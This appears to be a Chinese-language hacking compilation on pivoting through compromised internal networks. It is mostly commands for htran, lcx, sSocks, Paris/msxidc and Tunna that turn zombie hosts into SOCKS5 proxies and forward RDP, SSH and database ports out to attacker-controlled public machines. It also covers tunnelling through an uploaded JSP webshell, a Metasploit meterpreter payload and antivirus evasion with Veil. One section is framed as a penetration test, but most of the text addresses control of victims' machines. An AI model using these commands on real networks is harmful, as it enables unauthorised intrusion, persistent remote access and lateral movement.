內網滲透合集(二)
Htran把內網肉雞做成SOCKS5代理
條件:肉雞兩臺.一臺在內網.一臺在公網.
首先在那臺內網肉雞上運行CMD..執行..
htran.exe -install //安裝socket5服務
htran -start //啟動
啟動了socket5服務,代理默認端口為8009
然后在公網肉雞監聽(臨聽任意兩個端口):
htran -p -listen 119 120 //監聽119 120端口

接下來在內網肉雞再次執行:
htran -p -slave 公網肉雞IP 119 127.0.0.1 8009

成功之后,在公網內雞的CMD下會有顯示..

接下來用用socketscap連接公網肉雞的120端口就可以連接那臺內網肉雞了

這個只是一個例子..最后的圖片我是在SOCKSCAP里打開IE連接網頁時的IP.
速度暴快哦....
下面這個例子是把內網肉雞的3389轉發出來....
在公網肉雞監聽(臨聽任意兩個端口):
htran -p -listen 119 120 //監聽119 120端口
在內網的機器執行:
htran -p -slave 公網肉雞IP 119 127.0.0.1 3389
這樣是把這個內網肉雞的3389轉發到公網肉雞的119端口上.
然后再用3389登陸器連接公肉肉雞的120端口.
就可以連接到那臺內網肉雞的3389了.
LCX 端口重定向本質以及在linux下的實現
lcx.exe 經常給內網肉雞丟3389后門以及內網滲透的大都很熟悉,平時使用都是照貓畫虎用,不明白其中本質,今天找到源碼,詳細闡釋下本質吧。
其中涉及到2條TCP連接已經2條端口轉發,可能比較饒人,慢慢看吧。
平時大家都這樣用 首先在自己主機上 lcx -listen p1 p2 ,意思是在主機上監聽 P1 和 P2 端口,
然后在雞上 lcx -slave 主機IP p1 肉雞IP p3 ,意思是連接 主機IP:p1 并把所有通信數據轉發到 肉雞IP:p3
然后用相關服務的客戶端連接 主機IP:p2 ,例如3889連接器,即可連接到肉雞相應的p3端口服務。因為主機自動把 主機IP:p2的任何數據都轉發到
IP:p1上,而IP:p1與 肉雞 已經有個可以通信的連接,最終肉雞在把與 IP:p1 轉發到相應的服務端口,即完成了通信,說的有點饒人還是上圖吧。

網上基本都是windows下的實現,使用方法也就上面那樣。
linux也有實現,感覺使用方法更加明朗,且與windows下的兼容 在此推薦下。
把windows的小做修改下,重新編譯了下,源程序比較簡單就不上傳工程文件了,直接給個C文件,自己編譯下即可。
linux下實現大同小異,只不過用的fork實現子線程。
網上基本都是windows下的實現,使用方法也就上面那樣。
linux也有實現,感覺使用方法更加明朗,且與windows下的兼容 在此推薦下。
把windows的小做修改下,重新編譯了下,源程序比較簡單就不上傳工程文件了,直接給個C文件,自己編譯下即可。
linux下實現大同小異,只不過用的fork實現子線程。
VOID usage(char* prog)
{
printf("Socket data transport tool\r");
printf("by bkbll(bkbll@cnhonker.net)\r\r");
printf("Usage:%s -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]\r",prog);
printf(" -v: version\r");
printf(" -h1: host1\r");
printf(" -h2: host2\r");
printf(" -p1: port1\r");
printf(" -p2: port2\r");
printf(" -log: log the data\r");
printf(" -m: the action method for this tool\r");
printf(" 1: listen on PORT1 and connect to HOST2:PORT2\r"); //最簡單的端口轉發,單獨使用
printf(" 2: listen on PORT1 and PORT2\r"); //通常 2 3結合使用
printf(" 3: connect to HOST1:PORT1 and HOST2:PORT2\r");
closeallfd();
return;
}
源代碼 lcx_src.zip(http://files.cnblogs.com/wangtuanjie/lcx_src.zip)
簡單的例子,加入本機IP為116.228.111.18,某內網肉雞開了3389.
1.本機 lcx -m 2 -p1 3333 -p2 3389
2.肉雞 lcx -m 3 -h1 116.228.111.18 -p1 3333 -h2 127.0.0.1 -p2 3389
3.在任何有網的地方包括自己主機都可以用 3389連接器 連接 116.228.111.18:3389即可。
其他服務同理,如 80 22 21 1433.
Socks代理反彈突破內網
1. sSocks
sSocks是一個socks代理工具套裝,可用來開啟socks代理服務,支持socks5驗證,支持IPV6和UDP,并提供反向socks代理服務,即將遠程計算機作為socks代理服務端,反彈回本地,極大方便內網的滲透測試,其最新版為0.0.13,可在以下鏈接處下載。
http://sourceforge.net/projects/ssocks/
下載解壓后,執行命令編譯。
./configure && make
編譯完成,進入src目錄,會發現有nsocks、ssocksd、ssocks、rcsocks,其功能說明介紹如下:
程序 功能
nsocks 類似通過Socks5代理后的netcat,可用來測試socks server
ssocksd 用來開啟Socks5代理服務
ssocks 本地啟用Socks5服務,并反彈到另一IP地址
rcsocks 接收反彈過來的Socks5服務,并轉向另一端口
2.模擬網絡環境說明
本文模擬的網絡環境見下圖1,滲透測試端IP為192.168.10.50,內網區域IP段192.168.206.0/24.

內網區域能正常訪問192.168.10.0/24,現假設已獲得192.168.206.130權限。
3.實施Socks代理反彈
1)本地監聽端口
在滲透測試端192.168.10.50執行
./rcsocks -l 1088 -p 1080 -vv
等待遠程Socks5服務器訪問本地1080端口,創建端口1080與本地端口1088的連接通道,如圖2。

2)開啟Socks5代理服務,反彈
在192.168.206.130上執行
./rssocks -vv -s 192.168.10.50:1080
啟用Socks5服務,反彈到192.168.10.50的端口1080上,如圖3。

此時在滲透測試端192.168.10.50可看到通道連接成功,效果如圖4。

4.利用proxychains進行Socks5代理
通過前面的步驟,Socks5代理已創建完成了。由于在滲透測試過程中,需要使用不同的工具程序,而在各程序中分別配置Socks5代理信息較為繁瑣,而部分程序并不支持配置Socks5代理。為了簡化這些操作,我們可以采用proxychains。
proxychains是一個代理客戶端軟件,可以支持幾乎所有程序的代理,如ssh,telnet,ftp等。利用proxychains,程序能在代理的環境下被加載運行,而本身不需要具備代理功能。使用前需要對proxychains進行簡單配置,打開配置文件proxychains.conf(在BT5位于/etc/proxychains.conf),如圖5所示,在[ProxyList]處添加
socks5 127.0.0.1 1088

配置成功后若要啟動程序,僅需要在啟動程序命令前加上proxychains。
1)啟用瀏覽器firefox,在終端執行命令:
proxychains firefox
firefox啟動成功,訪問192.168.206.135的web服務如圖6,通過代理訪問成功。

高級內網滲透工具:Paris (創建VPN)
Paris/0.2.1 (01/14/2007)
研究成果:
www.rootkit.com.cn
www.horseb.org
軟件作者:horseb (黑色技術成員組 www.rootkit.com.cn )
此工具能夠讓你在內網滲透中事半功倍.讓你的計算機屬于對方內網的狀態。
使用方法:
目前流行的httptunnel其實還屬于正向隧道,有WINDOWS OS的防火墻或ipsec端口過濾比較嚴格的話,沒辦法使用,而且現在的通道除了VPN比較可靠安全,其他都不可靠。
Paris經過使用比較安全可靠
目前主要有下面的用法:
1.入侵內網時,在能占領的出口或代理主機上運行softrouter,外網softrouter server 可以關聯內網主機這樣在外網就很方便的控制內網主機。
2. 如果內網有一些有特殊應用服務的主機,但是不能通過公司的路由器配置映射到外網的,這里可以通過這個軟件把相應端口映射到外網,這樣外網就可以使用內網上某些資源,比如web站點。
使用Paris 建立 VPN方法:
如何建立VPN
1。方案
在202.106.0.202# gateproxy.exe-P2380 STLS=fcl SERVER=socks
在192.168.1.12# gateproxy.exe -P1100 STLS=fsv SERVER=socks SOCKS=202.106.0.202:2380
內網IP 192.168.1.12
肉雞IP 202.106.0.202
如果肉雞的端口能正向連接的話可以做的
先在肉雞上執行在202.106.0.202# gateproxy.exe-P2380 STLS=fcl SERVER=socks
然后再在自己的機器上執行gateproxy.exe -P1100 STLS=fsv SERVER=socks SOCKS=202.106.0.202:2380
這樣你的網絡192.168.1.12 就可以訪問 202.106.0.202 這臺機器對應的內網的所有機器的所有端口了
2.方案2
在202.106.0.202# gateproxy.exe-P2380 STLS=fcl SERVER=socks
在202.106.0.202# msxidc.exe -l127.0.0.1 -p2380 -m99 -s218.155.0.1 -r9001
在192.168.1.12# gateproxy.exe -P1100 STLS=fsv SERVER=socks SOCKS=218.155.0.1:99
這里說明一下,這里的msxidc.exe程序是Rootkit.com.cn 的軟件路由程序
這里是為了解決肉雞IP 202.106.0.202封正向端口的情況的,如果肉雞IP 202.106.0.202:2380端口
連不上的話,就要用msxidc.exe把202.106.0.202:2380轉到218.155.0.1:99的端口上,我們連接
218.155.0.1:99就等于連接上了肉雞IP 202.106.0.202:2380了,這樣就通過218.155.0.1:99端口
中轉建立了和肉雞202.106.0.202:2380的SSL VPN了
這里的218.155.0.1:9001 是softrouter的另外一個轉發的偵聽服務的端口
注意:這里必須要按照以上命令序列執行,否則不能連接上
附軟件路由器的其他使用語法:
$$$$$$$$$$ software router version 0.01 $$$$$$$$$$$$$$
$$$$$$$$$$ copyright@2005 horse_b $$$$$$$$$$$$$$$$$$
msxidc -lVIM_IP -pVIMHOST_PORT -mMAP_MSvIDCs_PORT -sMSvIDCs_IP -rMSvIDCs_PORT
example:msxidc -l10.0.0.1 -p1433 -m99 -s218.155.0.1 -r9001
內網要連到外面的主機 10.0.0.1 這臺內網主機要提供給外網的服務端口 1433 在外網上映射成的端口99 外網softrouterserver 的IP218.155.0.1 外網softrouterserver 的PORT 9001
這樣我們就能在外網訪問 218.155.0.1:99 就隨時訪問內網的 10.0.0.1:1433
msxidc -MMAP_MSvIDCs_PORT -SMSvIDCs_IP -RMSvIDCs_PORT
example:msxidc -M99 -S218.155.0.1 -R9001
msxidc -PLOCALHOST_PORT -XMAP_MSvIDCs_PORT -YMSvIDCs_IP -ZMSvIDCs_PORT
example:msxidc -P1433 -X99 -Y218.155.0.1 -Z9001
tunna工具使用實例
下載地址是:http://www.secforce.com/media/tools/tunna_v0.1.zip
實例1:
網站對外只開放了80端口,其他的端口都是關閉的,通過CVE-2013-225得到JSP的WEBSHELL后,上傳conn.jsp,做轉發,實現連接本機的其他端口.
直接掃描發現3389是關閉的
mickey@pentest:~# nmap -sS -p3389 219.x.x.x
Starting Nmap 6.40 ( http://nmap.org ) at 2013-09-26 22:47 EDT
Nmap scan report for 219.x.x.x
Host is up (0.0088s latency).
PORT STATE SERVICE
3389/tcp close
通過webshell上傳conn.jsp到主機上,本地開始連接
python proxy.py -u http://219.x.x.x/conn.jsp -l 1234 -r 3389 -v
參數含義如下:
-l 表示本地監聽的端口
-r 遠程要轉發的端口
-v 詳細模式
然后本地執行
rdesktop 127.0.0.1:1234
就可以連接到目標的3389了

實例2:
對于有些服務,比如SSH,還需要添加-s參數,才能保證連接的時候不會中斷.
python proxy.py -u http://219.x.x.x/conn.jsp -l 1234 -r 22 -v -s
ssh localhost -p 1234

實例3:
場景:已經得到DMZ區的一臺主機的JSPSHELL,該主機的內網IP是172.16.100.20,通過查點,發現DMZ區還有其他的主機(172.16.100.20),并且開放了3389,我們想利用HTTP tunneling,連接到172.16.100.20的3389,命令如下
python2.7 proxy.py -u http://219.x.x.x/conn.jsp -l 1234 -a 172.16.100.20 -r 3389
這里多了一個-a參數,意義是要轉發的IP
實例4:
對于喜歡metasploit的朋友,該工具也支持,不過如果對方有殺軟的話,建議先用veil做好meterpreter的免殺.
首先把tunna_exploit.rb拷貝到msf的modules/exploits/windows/misc目錄.
cp ~/tunna_exploit.rb /root/metasploit-framework/modules/exploits/windows/misc
然后開始利用
msf > use exploit/windows/misc/tunna_exploit
msf exploit(tunna_exploit) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(tunna_exploit) > set RHOST 1.3.3.7 <-- 注意這里是指本地的公網IP
RHOST => 1.3.3.7
msf exploit(tunna_exploit) > set TARGETURI http://219.x.x.x:8080/conn.jsp
TARGETURI => http://219.x.x.x:8080/conn.jsp
msf exploit(tunna_exploit) > set VERBOSE true
VERBOSE => true
msf exploit(tunna_exploit) > exploit -j
tunna除了支持jsp還支持以下環境和腳本
conn.jsp Tested on Apache Tomcat (windows + linux) conn.aspx Tested on IIS 6+8 (windows server 2003/2012) conn.php Tested on LAMP + XAMPP + IIS (windows + linux)
使用的時候需要注意:metasploit里的腳本只對應metasploit使用.